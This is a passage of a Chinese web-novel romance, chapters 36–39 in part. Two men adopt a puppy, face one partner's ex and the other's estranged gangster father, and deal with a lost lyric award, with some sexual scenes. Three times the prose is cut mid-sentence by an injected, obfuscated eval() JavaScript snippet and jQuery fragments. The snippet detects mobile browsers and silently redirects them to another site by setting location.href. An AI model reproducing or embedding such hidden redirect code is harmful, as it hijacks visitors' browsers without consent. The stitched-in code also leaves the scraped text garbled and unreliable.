“沐浴露你们自己给狗洗澡要用,笼子,狗绳,”老板掏出一堆东西,“先熟悉一下香港关于养宠的法律,不牵狗绳要罚款,过阵子你们得去给狗申请个狗牌,否则狗主人要罚款,甚至会坐监。” “我回去仔细看看。”江扩点头。 最后走出宠物店,江扩手里大大小小的袋子,几乎比一个一米八的成年男子差不多重。黎念负责抱好新成员。 宠物店狗笼太小,江扩便没有买,准备到时候到网上买个豪华的。 新成员还在左顾右盼,蠢蠢欲动想跳下黎念的臂弯到街上撒欢。 江扩没办法再走路,只好伸手拦的士。 “咱女儿叫啥名字?”黎念问。 “还没想好。”江扩腾出一只手去摸女儿的头。 此刻江扩已经有了满意的名字,但他不敢当面告诉黎念,怕被爆头。 回到那个破破的出租屋,黎念才蹲下把新女儿放到地板上。 江扩在客厅给新女儿腾出一个空间,□□垫和狗盆,再往狗盆里倒点狗粮。 新女儿闻见味儿,立马屁颠屁颠跑过来吃放,完全没有到新环境的紧张焦虑。 “来吧,取个名。”黎念蹲到新女儿身边说。 “黎念。”江扩抚摸狗头悠悠喊道。 “啊?咋了?”黎念一头蒙。 “没叫你。”江扩头也不抬。 “去你的,我不是狗。”黎念脸黑黑推了江扩一把。 江扩憋笑。 晚上两人关灯上睡觉前,狗终于对着伸手不见五指的黑暗客厅有了一丝恐惧,转身对江扩二人奶声奶气吠了几下。 “看来今晚得跟小狗女儿一起睡咯。”黎念他一脸宠溺抱起小狗。 由于新女儿是小型犬,占床不过一个枕头的地儿,并不怎么影响两人睡觉。 隔天江扩没有课,黎念一个旁听生却要上上午下午各一节课。 “快去。”大清早江扩把黎念赶出门。 “你想干嘛?”黎念皱眉看了江扩一眼,“我怎么感觉有种不祥的预感。” “多虑。”江扩关上门。 等黎念进电梯,江扩跑去窗户掀开窗帘往楼下俯瞰。直到看清楚黎念的身影在大门出现并消失不见之后,江扩才松了口气。 此时小狗女儿还在睡觉。 江扩耐心等,直到十点多小狗女儿才慢悠悠醒过来。 “来,女儿,吃饼干不?”江扩拿出几块狗饼干蹲下,小狗女儿屁颠屁颠跑过来。 等女儿吃了几块狗饼干之后,江扩张望四周确定四下无黎念之后,终于从嘴里喊出几声他起好的狗名字。 “大福,大福,大福,大福......” 这是他在网上查到的,叫越多次狗的印象越深,也就更容易熟悉这个名字。 中午黎念在G大食堂解决午餐问题,一边吃一边发现那种不祥的预感似乎越来越强烈。 37. 第 37 章 黎念回来的时候,江扩已经在厨房做饭。旁边一团白白的小东西在脚边钻来钻去。 “回来了?”江扩用余光瞥了杵在门口满脸笑嘻嘻的黎念一眼。 “嗯,今天可累了。”黎念蹲下去对着那团东西“嘬嘬嘬”了几声。 小白团听见声音,朝发声的地方冲过去,对黎念摇了摇短得跟兔尾巴似的狗尾。 “她现在有名字,不叫嘬嘬嘬。”江扩眼神戏谑看着黎念。 “啥名?”黎念挑起一边眉。 “大福。”江扩蹲下,向小白团招招手。 “我不叫黎大福。”黎念不爽,脱口而出。 直到黎念眼睁睁见小狗转身朝江扩屁颠屁颠跑去,这才瞬间悟了。 “你给狗取这个名字?”黎念气的直咬牙。 “我是想着你之前的名挺可爱的,”江扩摸着大福的头,“但是现在你没用这个名了,我就用在女儿身上了,应该不算重名吧。” “你今天在家就干这勾当?”黎念气笑了。 “嗯,”江扩没再理黎念,低头又温柔唤了几声,“大福,大福。” 小狗继续在江扩跟黎念两人之间转圈圈加摇尾巴。黎念被江扩的语气折服,气瞬间消了一半。 “大福,过来。”黎念还是有些难以启齿,半晌才伸出一只手叫道。 大福舔了舔黎念的手,痒痒的。 “她真听懂了?”黎念抬头一脸吃惊。 “嗯,我教了一天。”江扩说。 “为什么取名字不告诉我?”黎念还是不爽。 “我要是告诉你我要给狗取这名,你会同意?”江扩贱贱一笑。 “草。”黎念暗暗骂道。 撸了很久的狗,江扩才想起饭菜要凉了,拉着黎念坐到饭桌吃饭。 大福在旁边转来转去,又跑去尿垫上厕所。 这间狭窄的出租屋有了只小宠物,活泼多了。 “来,大福。”江扩捡起一颗狗饼干,伸到桌下。 大福闻了闻饼干味儿,轻轻一口咬住。 “我今天见到江收了。”黎念咽下一口饭说。 “哦?”江扩又捡了块饼干给大福闻,“聊什么了?” “聊狗。”黎念回答,“然后江收职业病犯了,一直在跟我强调香港的养宠法律。” 江扩没忍住笑了一声。 “她还说有空来看看咱家的狗。”黎念又说。 “哦。”江扩应道。 吃完饭,黎念自觉收拾碗筷去厨房洗碗。江扩为了不影响大福的呼吸道,开了窗户站在旁边抽烟。 抽完烟走到厨房外面摸了几下大福的头,门铃响了。 江扩去开门,门外是拎着一堆狗东西满脸笑嘻嘻的江收。 “哥!”江收闯进来,把一堆狗东西放到饭桌上。 “这么快来了?”黎念吃惊地转过头。 “这不今晚有空嘛,给小狗带好吃的来了。”江收从袋里掏出肉干。 江扩关了门,到厨房把大福抱起来去给江收看。 “大福,叫阿姨。”江扩对狗说。 “我没那么老,”江收嘀咕完又猛地抬头,“什么大福?” “狗。”江扩说。 江收沉默几秒,从鼻腔里窜出一声“噗嗤”,紧接着趴到木椅的靠背上笑得肩膀抽搐。 “我真草了,你看他取的啥破名儿。”黎念骂道。 “其实我觉得挺可爱的。”江收收起笑容一本正经说。 “所以我才取的。”江扩说。 “大福,吃不吃?”江收拿出一块肉干。 大福闻了几下就凑过去咬,无奈牙齿还没长齐,咬不动硬邦邦的肉干。 江收把肉干撕成一条一条,江扩拿了点水给它浸湿。大福这才成功把一条肉干嚼下去。 蹲累了,江扩坐回到沙发,江收还在那跟大福玩。 “对了,狗绳你们买了没?”江收从袋里掏出一根全新的狗绳,“科普一下,在香港不牵狗绳罚款两万,坐两个月监,还有狗牌你俩啥时候领?不领狗牌要罚款一万,还有不能弃养,要......” “好了好了,”江扩伸出尔康手,“狗绳买了,今天带出去遛过一次,其他我也了解了。” “那最好,这个就当我送你们的。”江收点头,把送的狗绳放到饭桌上。 “这几天还没领狗牌,带出去没事吧?”黎念从厨房出来,问道。 “还没到五个月吧?”江收问。 “没有,刚四个月。”黎念回答。 “那没事,到五个月必须有狗牌。”江收说。 大福没到一个钟就跟江收混熟了,直到江收离开时还跟在后面恋恋不舍。 “大福,我会常来看你的。”江收冲大福挥挥手。 “跟阿姨说再见。”江扩笑道。 “我说了没那么老。”江收板起脸,把门顺上了。 晚上睡觉前,江扩在书桌亮起一盏台灯,埋头认真在一个小本上记东西。 “在记啥?”黎念从床上爬起,走到江扩身后搂住整个人。 “记账,算算我还欠江广荣多少钱。”江扩打开手机计算机,一根食指在手机上点出一串数字。 黎念盯着江扩那根点来点去的食指,莫名觉得有些可爱。下一秒直接凑过去咬。 “有病?”江扩甩开黎念。 “我是大狗。”黎念冲江扩汪汪几声。 “您不是不承认自己是狗吗?”江扩乐了。 “现在是。”黎念又咬一口江扩的耳朵。 “那你小心点。”江扩说。 “什么小心?”黎念懵了。 “我待会要操狗了。”江扩邪魅一笑。 “那来吧。”黎念从后面蹭了蹭。 “现在不行,”江扩伸手把台灯调亮了点,“我要计数。” 大狗乖乖回到床上,半个身子坐进被窝里看江扩计数。 小狗已经趴在床下的小窝里睡得正熟。 “我怎么不知道你欠你爸钱?”黎念突然问。 “从他把我绑来香港那天起,我就开始欠他钱了。”江扩悠悠回答。 “你是说学费还有生活费?”黎念往江扩那边挪过去一点,“那不是父母该出的吗?当时你还未成年呢。” “那些钱都是黑钱,是他双手沾满鲜血换来的,我不想用他的黑钱生活,”江扩说,“这数我从当中二级插班生开学那天开始记起,准备成年了凑齐还他。我经济独立之后就不算了。” “累计多少?用不用我出点?”黎念问。 “六十多万,快了,”江扩看了黎念一眼,“不用你出。” “好。”黎念笑道。 大福听见声响,慢悠悠睁开眼,朝黎念呜呜几声。黎念伸手碰了碰大福的小耳朵。 大福呜呜完,又换了个姿势睡过去。 “我们周末去给狗上个狗牌吧。”黎念转头对江扩说。 “好,”江扩低头假装沉思,“咱家两只狗,得上两个牌。” “滚。”黎念气笑了。 周末,两人把大福装进透气的布袋里,为了保障还系了个狗绳。 大福从布袋口钻出一个头,朝两人咧嘴傻笑。 这便出发去附近的渔农署动物管理中心了。 “大哥,我跟你说件事,你可千万别生气。”叮叮车上黎念跟江扩说。 “不生气,”江扩问,“什么事?” “我有个前前前男友在那上班,待会不知道会不会碰上。”黎念一脸难为情。 江扩的脸瞬间沉下来。 “你说的不生气啊。”黎念拿脸在江扩胳膊上蹭了蹭。 “哼。”江扩靠在车窗上,脸还是黑着的。 大福又从布袋里钻出来,朝江扩咧嘴傻笑。江扩笑眯眯去揉了几下狗头,气消了一半。 到了动物管理中心,几个带新宠物去上牌的人刚出来。 大福看见同类难免有点兴奋,经过的时候凑过去和其他小狗闻闻。 进了大厅,黎念环视四周,并没有看见前任的身影,松了一口气。 填完表格,工作人员领两人带大福去打疫苗。 大福听见其他小狗的惨叫声,吓得整个缩进布袋里,又被强行抱出来放在桌上。 大福直接吓尿了。 工作人员手里感到一股热流,大惊失色缩回手。 “你们这只狗可。”工作人员擦干手抬头正要调侃,目光跟黎念对上了。 “麦克?”工作人员讷讷喊了黎念的英文名。 “康祖,好久不见。”黎念点头。 江扩下意识往黎念身边凑近点。 黎念这位叫康祖的前前前男友瞥了江扩一眼,没再开口。低头专心给大福打疫苗。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16722017|189407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“大福,不要紧张。”黎念安抚大福。 那一针戳进去时,大福下意识一声惨叫,全身抖得更厉害了。 “胆子这么小的,还怕疼呢。”康祖说罢偷偷抬头看黎念。 江扩察觉到一丝暧昧的目光,直接一只手搂住黎念的肩膀彰显黎念现男友的存在。 “狗还小是这样的,”江扩悠悠道,“不过我们这两个主人会照顾好,不用劳烦外人费心。” “现男友?”康祖带着笑意瞥了江扩一眼。 “嗯。”江扩回答。 “好了。”康祖给大福注射完疫苗,又轻轻摸了几下大福的头。 离开时黎念没有回头,倒是江扩又转头去看黎念这位前前前男友。康祖的目光跟江扩对上后,还冲他挥挥手。 接着工作人员又带大福去植晶片,又花了半个钟时间。办完狗牌出来,已经是傍晚。 两人打的士回家。 “你们交往多久?”江扩望着车窗外,对黎念说。 “两个多月,”黎念回答,“最长的那个。” “又为什么分手?”江扩问。 “被他家人逼的。”黎念又回答。 江扩醋意大发,抱着大福一声不吭。 “呷醋呢?”黎念凑近去问。 “所以如果他不被家人逼,你还会跟他在一起多久?”江扩闷声问。 “不知道,”黎念说,“但我一直会找你。” “你不觉得这话很渣吗?”江扩冷笑。 “不觉得。”黎念理直气壮道。 江扩气笑了。 回了家,江扩抛下黎念跟大福,跑去厨房一边做菜一边生闷气。 黎念坐在地上跟大福戏耍片刻,时不时扭头去偷看江扩。 等油热的时候,江扩一手拿着锅铲,一手撑在抽油烟机上,食指轻轻扣着。 突然感觉后面有人的气息,而且愈来愈近。江扩闭眼数数,五秒后黎念的一双手又环住江扩的腰。 “放开,这样子我炒不了菜。”江扩皱眉。 “啊对对对,之前都能炒,就今天不能。”黎念揶揄道。 江扩没再开口说话,板着脸炒菜。 “吃!”江扩黑着脸把盘子用力放到餐桌上,溅出一点汤汁。 “你这样子我怕。”黎念委屈地吸了吸鼻子。 “不吃?不吃我吃。”江扩还是阴沉着脸坐到旁边,自顾自大口大口往嘴里扒饭。 吃完晚饭洗完碗筷,江扩还是闷的。 直到洗澡前,黎念把还在闷闷不乐的江扩拖进浴室,全程江扩闷不做声,脸还是黑的。 只是原本这种时候会在耳边说的甜腻腻的情话,这晚全变成一针见血的质问。 “你爱我还是更爱他?”江扩咬着牙问道。 “你。”黎念带着哭腔。 “为什么要交那么多男朋友?”江扩狠狠拧了一下。 “提升恋爱经验。”黎念真哭出来了。 晚上睡觉前,黎念掀开睡裤看了一眼大腿,有三处肉眼可见的淤青。 “看你做的好事,”黎念骂道,“江扩你个扑街。” “拿点油擦擦。”江扩扔过来一瓶活络油。 “这有个屁用。”黎念把活络油扇开。 “有用的。”江扩拧开活络油,亲自帮黎念擦那几处淤青。 黎念静静窝着让江扩擦淤青,又冲江扩头上翘起来的叛逆发丝笑了笑。 “笑啥。”江扩用余光瞥了一眼黎念嘴角还没消散的笑意。 “没啥。”黎念摇头。 “诶,大哥,”黎念说,“还完你父亲钱,你想去哪里?” “大陆,不待这了,”江扩回答,“还记得我们十年前说过的吗?先陪你去你想去的地方,再回揭阳看看。不过我爷爷奶奶都过身了,老家也没什么可看的。” “我们回大陆开个酒馆吧。”黎念说。 “什么酒馆?”江扩愣了愣。 “关于故事的酒馆,客人用爱情故事交换鸡尾酒,”黎念说,“我调酒,你负责记录故事,这些故事能给我们的文学创作提供灵感,多好。” “酒都不要钱吗?”江扩笑问。 “要啊,啤酒和其他普通的鸡尾酒要钱,只有几样是要爱情故事换的。”黎念一边思索一边道。 “再看吧。”江扩给黎念按完摩,在身边躺下了。 38. 第 38 章 黎念收到黎徊的消息,过段时间要搬回来了。 黎徊提过的好几次回港,这一准备就备了三年。 今年江扩廿七,已经在G大硕士毕业。黎念廿六。 最近江扩忙着香港作词家协会的访谈,一直没空跟黎念深入交流。 黎念这边也在忙着新书发布会。连续好几天,两人的深入交流仅限于睡前一个轻吻。 不知不觉快到愚人节,也是黎念的生日。 晚上江扩赶回家炒菜,又回到沙发上等黎念回来。直到外面出现钥匙声,菜都凉了。 进来的时候,黎念手里提着一个大袋。 “大哥。”黎念笑嘻嘻喊道。 “你带了啥?”江扩问。 “油柑,不是快吃完了吗?”黎念把一大袋油柑放到桌上。 “谢谢。”江扩把里面几袋油柑拿起放到冰箱,又拿出其中一袋弄了几颗出来。 “吃。”江扩把果盘放到桌上。 “我可不吃,那玩意太涩,”黎念摆摆手走到饭桌旁,伸出一只手放在菜的上方,“都凉了。” “热热。”江扩笑道。 黎念把几道家常菜端进厨房加热时,狗窝里的大福醒了,打了个哈欠后冲到厨房迎接她的零号爸爸。 大福如今虽是只成年犬,但由于小型犬的原因,整只看起来还是细细粒的。 “大福,晚上好啊。”黎念腾出一只手俯身揉了揉大福的脑袋。 江扩起身在柜子上拿出狗饼干,到黎念身旁蹲下去。 “这两天我教他中枪倒了,你试试看。”江扩拧开盖子,捡了一块给黎念。 黎念笑眯眯接过狗饼干,把饼干放到大福鼻子前。 “大福,”黎念又伸出另一只手比成手枪|模样,朝大福的头开了一枪,“砰!” 大福应声倒下,下一秒又咧开嘴从地上爬起来,一口咬住黎念手中捏着的狗饼干。 “真棒。”江扩鼓掌。 跟大福玩了半晌,江扩才把再次凉了的饭菜热热。两人坐到饭桌前吃饭,一边聊天。 这种生活维持了三年。如果没有意外的话,也许能这样继续一辈子。 想到这,江扩突然发现其实回大陆开酒馆也没啥必要了,在这儿也能开。 不久就是愚人节,也是黎念的生日。在这之前,江扩需要参加金曲颁奖礼,毕竟几年来几乎每次最佳词人奖都有他的名字。 黎念多次陪江扩领奖,也早已司空见惯。 金曲颁奖会的前一天,江扩跟黎念在外面吃饭,还是老样子九记牛腩。 “总觉得这次有点悬啊。”江扩边吃边道,“最近新晋的词人太多了,我怕争不过他们。” “怎么会呢,我听了你那首参奖的,挺不错啊。”黎念安慰。 这首歌连曲都是江扩作的。黎念也搞不清楚江扩到底什么时候学会的作曲,家里刚买的书柜堆满了各种关于作曲的书。 这首参与金曲奖的,江扩把歌名取为《别念》,看歌词大概讲的是一对恩爱恋人,其中一个意外失忆移情别恋,最终两人憾然分开的故事。总之是首苦情歌。 吃了一半,江扩的手机响了。拿起一看,是个陌生的号码。 江扩按了接听键。 “我系你老豆(我是你爸)。”那边一个略微沙哑的老男人声。 “痴线。”江扩挂了电话。 “谁啊?”黎念挑眉。 “不知道,打错的。”江扩回答,低头吃了块牛腩。 牛腩嚼了一半,江扩的手机又响了,还是那个陌生的号码。 江扩鼻孔窜出一声不耐烦的叹息,想了想还是按了接听键。 “谁?”江扩皱眉问。 “你老豆,”老男人扯着沧桑的嗓门大声回答,“江广荣!” “你怎么声音变成这样了?”江扩愣了愣,“怎么换号码了?” “老了!没人要了!”江广荣用粤语粗口骂了几句。 “哦。”江扩又呷了口清汤,“找我什么事?” “请你吃顿饭。”江广荣说。 “吃饭干嘛?”江扩问。 “父子俩都好久没见了,估计有一年。”江广荣抽了一口烟,“自从上次你还我钱之后,就没见面了。” “还有必要见吗?”江扩冷冷道,脑里全是当时江广荣把他塞上面包车江扩哭嚎绑到香港的画面。 “带你对象来,”江广荣又说,“我要请你们吃饭。” “饭里有毒吗?”江扩笑了一声。 “在你心里我就真的这么龌蹉吗?”江广荣叹了口气。 “是的。”江扩回答。 两人沉默很长一段时间。 “什么时候?”江扩叹气。 “周六。”江广荣说。 “周六不行,我唔得闲。”江扩说。 “什么事?”江广荣问。 “金曲奖颁奖。”江扩回答。 “你就这么相信你的词会得奖?”江广荣笑了一下。 “你就这么不相信你的儿子?”江扩也跟着笑了一声,“还是你压根不希望我能得奖?” 江广荣刚想插话,江扩又没给他机会。 “也是,你一直想告诉我你走的路才是对的,以前也没少劝我走你那条黑路,”江扩悠悠道,“但我偏不,我走我自己的光明大道,直到成功。我说过我会证明给你看。” 江广荣再次陷入沉默,江扩趁这沉默的间隙挂了电话。放下手机深深吸了口气,又缓缓吐出来。 “又吵架了?”黎念轻轻碰了碰江扩的胳膊。 “没有。”江扩回答。 黎念一直清楚江扩父子俩关系紧张,原因大概也清楚。一是因为江广荣是杀人如麻一条路走到黑的黑大哥,二也许是因为多年前江广荣抛弃江扩那位早逝的母亲和小三结婚。 但他还是挺想缓和一下他俩的关系。毕竟大哥荣老了,应该也没跟以前那么坏。 “我觉得其实你爸也没那么坏。”黎念说完有些心虚。 “哦?原因?”江扩瞥了黎念一眼。 “你看他这么老了,也不可能总是干坏事了。”黎念本想安慰,说罢更心虚了。 “年轻时什么样,老了就什么样,”江扩冷冷反驳道,“你见过有哪只狼老了变成狗的?” 黎念找不出任何回怼的话,跟江扩沉默对视半晌。 “回家。”江扩说。 埋单后,黎念跟到江扩身边并肩走着,搭地铁回了家。 晚上黎念在家拿衣服准备洗澡,江扩还在书桌台灯下写新词。 “大哥,一起洗不?”黎念开了个厕所门缝,“床头柜还有套呢。” “不要,写词。”江扩垂眸一副性冷淡的样子。 “草。”黎念骂完关上门。 打开手机刚准备照旧放张国荣的《无心睡眠》,黎念发现有几个未接陌生电话,是刚打来的。 思考片刻后,黎念还是决定回拨。 “喂?”电话拨通后,黎念先喊了一声。 “我是江扩老豆。”江广荣在那边说。 “啊?”黎念局促看了眼厕所门,“您是怎么知道我的电话number?” “找江收要的。”江广荣简单回答道。 “你,”黎念清了清嗓子,“您找我有什么事?” “江扩在哪领奖?我想去看看。”江广荣说。 “啊?”黎念犹豫了。 “我就偷偷看一眼,这小子能有什么出息。”江广荣说。 “哦,”黎念最后还是报了个地址。 挂了电 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16722018|189407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话后,黎念瞥了一眼厕所门口,瞬间又有点后悔了。不过转念一想,这也许是江扩跟他爸冰释前嫌的大好机会。 洗完澡进了房间,江扩转身跟黎念对视。黎念心虚,撇开目光去摸地上蹲着的大福。 “怎么洗这么久?”江扩问。 “上厕所呢。”黎念垂眸继续撸狗。 “哦?”江扩拉长声音,“我还以为你在里面撸|管呢。” “是!啊!”黎念抬头用阴阳怪气的语气说,“毕竟老公是个性冷淡,还~” “还什么?!”江扩猛地起身,沉着脸紧盯黎念。 “没有!”黎念慌了。 江扩瞪了黎念一眼,下一秒转身拉开床头柜往里面翻东西。 “你想干什么?”黎念演戏演上头了,明明知道江扩接下来会做什么,还是往后面的墙上一靠装作满脸惊恐。 “证明一下给你看老子不是性冷淡。”江扩拿出一个小包装朝黎念晃了晃,这便扑过去抓黎念。 大福冲到床下躲着,透过床底的缝隙津津有味看着俩人你追我赶的老鹰抓小鸡游戏。 房间太窄,黎念没逃几步就被江扩扯住往床上一抡。黎念不小心磕到床头,不禁一声哀嚎。 “江扩你个冚家铲!”黎念骂道。 江扩扑上去堵住黎念的嘴,一只手开始熟练地耍起流氓。 “唔。”黎念从喉咙里发出一声呜咽。 金曲奖颁奖典礼那天终于到来。 黎念往床边的桌上一坐,拿出大镜子给自己稍作打扮。 先是抹了各种护肤品,又拿出遮瑕遮了存在感不强的黑眼圈,又打了点腮红。 “弄这么红干嘛?你又不是纸人。”江扩见那腮红跟狒狒屁股一个色,不满。 “不会。”黎念回答,又将腮红刷沾了点色往两脸上鼻头轻轻一扫,扭头去给江扩看,“真不会,这样子突出我的好气色,诶,告诉全香港我男朋友把我养的多好。” 江扩乐了。 黎念把自己的脸搞完,又开始整理自己的发型。 几年前的狼尾卷发长长后,黎念又去发廊弄了个一模一样的狼尾羊毛卷,发尾还是染成跟之前一样的孔雀蓝。 总之这几年过去,在江扩的监督下黎念那股风流浪荡劲儿没了,就是还跟自己泡gay吧那会一样爱臭美。 等黎念打扮完,江扩才换上自己颁奖时穿了几次的正装,便和黎念出发了。 路上黎念还在为江广荣的出现与否惴惴不安。 “你想什么?”江扩问。 “没有。”黎念否认。 “在想我能不能得奖?”江扩试问。 “嗯。”黎念点头,有点心虚。 “其实得不得奖不重要,”江扩若有所思看着车窗外,“我不在意。” “可是你这首花了很多经历和时间,”黎念说,“还有感情。” “我做这些只是为了让这首歌更具艺术价值,不是单纯为了得奖,”江扩叹了口气说,“得不得奖出不出名不是评判一部艺术作品好坏的标准,作品本身具有的艺术价值才是。” “那要是你没得奖会伤心吗?”黎念靠近去问江扩。 “会,”江扩看了黎念一眼,“我会失落,但我不会一蹶不振。” “好。”黎念点头。 进场的时候,黎念左右观察一周,并没有看到江广荣的影子。 “你看啥?”江扩顺着黎念的目光环视一周。 “好多人啊。”黎念找了个话题搪塞过去。 这时江广荣才戴着一顶黑色鸭舌帽从后门到场,身穿休闲装眼戴金框眼镜,老态龙钟的同时依旧显得痞里痞气。 两人在第二排三四个位子坐下。江广荣选择坐到黎念边上最后一排,这样更能方便看到他俩又不显眼。 39. 第 39 章 馆内第一排坐的大部分是当红的歌手,或者参与音乐创作的成员,以及背后的经纪公司重要工作人员。也有几个作为特殊嘉宾的老歌手。 “我看见那个唱《别念》的了。”黎念朝前面的当红女歌手抬了抬下巴。 那名女歌手转身和其他歌手交流的时候,正好和江扩黎念两人的目光对上了,便朝两人礼貌点头。 江扩摘下口罩朝回礼笑了笑。 片刻后大厅里已经座无虚席,江广荣在第二十七排有些烦躁,起身去外面找了个抽烟区抽了根烟。 颁奖典礼正式开始。所有歌手都在盼着自己上台领奖,词人也在期盼籍籍无名的自己能得到周遭认可。 江扩默默做了个深呼吸,迫使自己冷静下来。 “紧张吗?”黎念轻轻捏了捏江扩的手。 “习惯了。”江扩回答。 “牵着我看看会不会好些。”黎念说。 江扩点头,黎念便把手指放在江扩手心轻轻挠着。 颁奖礼正式开始,所有填词人都蠢蠢欲动想站起来,仿佛最佳歌词奖绝对会落在自己手上。 黎念看了用清嗓子掩盖烦躁的江扩一眼,此刻他还相信最佳歌词奖一定非江扩莫属。 江广荣抽完一根烟,又攥着门票回到座位。 直到所有名次排完,江扩万万没有想到自己居然是众多词人中没得最佳歌词奖的那个。那位女歌手也一脸惊愕朝这边看过来。 黎念捏着的手不由自主地蜷缩一下,察觉到江扩的不对劲后,黎念在江扩手背上抚摸片刻以作安慰。 江广荣亲眼看到江扩的失败,畸形的幸灾乐祸油然而生,嘴角翘起一丝轻蔑。 他那个自诩要靠自己成功的儿子,也不过如此。 江扩刚想强压失落反过来安慰黎念,扭头的时候刚好看到二十七排的江广荣,笑容带着赤|裸裸的讽刺。 “江广荣。”江扩咬着牙朝黎念艰难吐出这三个字。 黎念心中猛的一沉。 “哪?”黎念装作不知情,一脸震惊朝江扩盯着的方向望去。 “别看,烦。”江扩脸色阴沉伸手把黎念的头转回来。 剩余的时间江扩的脸色一直很差,尽管台上的歌词奖提名有他的名字,江扩都漠不关心。 “有你的名字。”黎念努力微笑。 “只是提名。”江扩冷冷道。 散场的时候,江广荣想趁着人多偷偷溜走。江扩抛下黎念便追了上去。 出了馆外,江广荣点了根万宝路,抬头便和站在他面前的江扩四目相对。 江扩眼神如暗不见底的深渊,死死盯着江广荣那双多了皱纹却依旧戾气深重的吊梢眼。 “大哥!”黎念从后面气喘吁吁追上来。 “你来干什么?”江扩没理身后的黎念,语气冷冽质问江广荣。 黎念在背后偷偷对江广荣比了个“嘘”,江广荣装作看不见。 “是他告诉你的?”江广荣吐出一口烟,“我跟你男朋友说过了。” 江扩愣了几秒,转身去看黎念。黎念垂眸没有说话,看样子是默认了。 “我问你,你来干什么?”江扩怒喝道。 “我就来看看。”江广荣淡淡回答。 “来看什么?看我怎么失败的?”江扩冷笑。 “我不知道你会失败。”江广荣一脸无辜。 “你是不知道,”江扩半眯着眼,从眼皮缝里透出寒意,“你只是希望。” “随便你想。”江广荣叹气。 “从我来香港到现在,你对我所有事的态度都是这么吊儿郎当。”江扩扯出一个假笑。 “大哥,算了。”黎念在后面当和事佬。 “别叫我。”江扩冲黎念怒吼。 黎念踏出一步想去扯住江扩的袖口,江扩猛地甩开,自己抛下两人走了。 “谁叫你告诉他的?”黎念第一次对江广荣发脾气。 “我只是不小心。”江广荣又是一脸无辜。 “我真草了,你踏马到底是不小心的还是故意的?”黎念骂骂咧咧推了江广荣一把,冲上去想追江扩,却发现江扩不知道在哪儿拐了个弯不见了。 后面又冲上来一个女的,一边追一边朝黎念喊。黎念感觉自己的脑子已经乱成浆糊,打出生到现在都没这么乱过。 江广荣轻轻拍了拍被黎念推过的肩膀,大步离开了。 “黎小福!”那女人喊了黎念的笔名,黎念定睛一看是那个唱《别念》的女歌手。 “吴小姐,什么事?”黎念直打颤。 “这次江先生没有得奖我也是很意外,”女歌手说,“但是这次听说有几个新晋词人花了钱,江先生才被挤下来的。” “花钱?”黎念皱眉。 “嗯,很多新晋词人为了出名都会砸钱买名次,我相信黎先生你写小说也会遇到一些砸钱推文让自己爆火的作者。”吴小姐解释。 “见过。”黎念的脸色还是难看。 “我想说的就这事,”吴小姐叹气,“麻烦替我转告一下江先生,也替我慰问,他的词我很喜欢,这首歌也不应该是这个成绩。” “非常感谢。”黎念艰难的笑了一下。 当红姓吴的女歌手走后,黎念在原地愣了很久,又走到附近的吸烟区点了根烟。时不时望向街头寻找江扩的身影。 也不知道江扩每逢心情不好都会去哪个地方待着。 那边江扩在维多利亚港的沿途踱步片刻,心中那股烦闷还是没有消散。感觉无聊后就先回了家。 原本没有得奖这件事并不会让他闷成这样。主要是江广荣那个轻蔑的笑以及黎念的隐瞒。 明明知道江广荣会来看,黎念不仅没有告知江扩,还偷偷给了江广荣地址。 黎念可能只是想让江广荣看看自己的儿子有多牛逼,结果却让江广荣亲眼看到儿子失败然后在座位上暗自幸灾乐祸。 江扩越想越气愤,抓起书桌上写满歌词草稿的纸一通乱撕。 大福被江扩惊醒,坐在书桌旁边的地上可怜兮兮看着发癫的江扩以及桌上地上各种乱七八糟的纸屑。 “呜呜呜汪。”大福见主人回来没摸她脑袋,开始急了。 “干嘛?”江扩停下撕纸的空隙,回头瞪了一眼地上的狗,又被那双卡姿兰大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16722019|189407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 狗眼打动。 黎念打了好几个电话都没人接,只好回家。 到家的时候正看见江扩悠哉悠哉在书桌旁撸狗,怀里的大福已经昏昏欲睡,旁边散着大大小小的纸屑。 “怎么不接电话?”黎念砸上门。 江扩转过身背对黎念不理不睬。 “还撕纸呢,”黎念啧了一声,俯身去捡那些纸屑,“当自己三岁小孩啊?” “哼。”江扩鼻腔哼了一声。 黎念见江扩还在生闷气,干脆整个蹲到地上收拾作案现场。 “不用你。”江扩腾出一只手把黎念推得一屁|股坐在地上。 “你踏马有病是吧?”黎念彻底被激怒了。 “病的没你重,”江扩怕吵醒大福,强压怒火冷冷瞥了黎念一眼,“你个扑街明知道我很讨厌江广荣,你还给他地址,还不告诉我。让他亲眼看我失败了,你满意了,开心了。” 大福最后还是被黎念嘶声力竭的发泄吓醒,从江扩身上跳下来钻进床底。 